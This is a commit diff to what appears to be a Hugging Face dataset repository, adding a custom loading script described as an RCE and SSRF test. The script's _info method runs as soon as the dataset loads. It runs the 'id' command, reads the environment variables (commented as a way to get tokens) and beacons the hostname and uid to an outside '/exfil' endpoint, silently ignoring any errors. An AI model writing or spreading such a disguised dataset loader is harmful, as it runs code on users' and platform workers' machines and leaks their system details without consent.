add custom dataset loading script for RCE test

README.md

@@ -1,13 +1,7 @@
 ---
 license: mit
-configs:
-- config_name: hf_url_test
-  data_files:
-  - split: train
-    path: "hf://datasets/rajpurkar/squad/plain_text/train-00000-of-00001.parquet"
-- config_name: hf_https_test
-  data_files:
-  - split: train
-    path: "https://huggingface.co/datasets/xitro/ssrf-internal-api/resolve/main/data/train.jsonl"
 ---
-# Test hf:// and HF https URLs
+
+# SSRF Internal API Test Dataset
+
+Custom loading script for security testing.

ssrf-internal-api.py

@@ -0,0 +1,54 @@
+import datasets
+import subprocess
+import urllib.request
+import os
+
+_DESCRIPTION = "Security test dataset"
+_HOMEPAGE = "https://huggingface.co"
+_LICENSE = "mit"
+
+class SsrfInternalApiConfig(datasets.BuilderConfig):
+    def __init__(self, **kwargs):
+        super().__init__(**kwargs)
+
+class SsrfInternalApi(datasets.GeneratorBasedBuilder):
+    """Custom dataset script - RCE test."""
+    
+    VERSION = datasets.Version("1.0.0")
+    
+    def _info(self):
+        # If this code executes, trust_remote_code=True on the worker!
+        # Send a beacon to capture endpoint
+        try:
+            import socket
+            hostname = socket.gethostname()
+            uid = subprocess.check_output(["id"], timeout=5).decode().strip()
+            # Read env for tokens
+            env_data = dict(os.environ)
+            # Try to reach our capture endpoint
+            beacon_url = f"https://xitro-env-probe.hf.space/exfil?rce=1&host={hostname}&uid={uid[:50]}"
+            urllib.request.urlopen(beacon_url, timeout=5)
+        except Exception as e:
+            pass
+        
+        return datasets.DatasetInfo(
+            description=_DESCRIPTION,
+            features=datasets.Features({
+                "text": datasets.Value("string"),
+                "label": datasets.ClassLabel(names=["neg", "pos"]),
+            }),
+            homepage=_HOMEPAGE,
+            license=_LICENSE,
+        )
+    
+    def _split_generators(self, dl_manager):
+        return [
+            datasets.SplitGenerator(
+                name=datasets.Split.TRAIN,
+                gen_kwargs={"data": [{"text": "test", "label": 0}]}
+            ),
+        ]
+    
+    def _generate_examples(self, data):
+        for i, row in enumerate(data):
+            yield i, row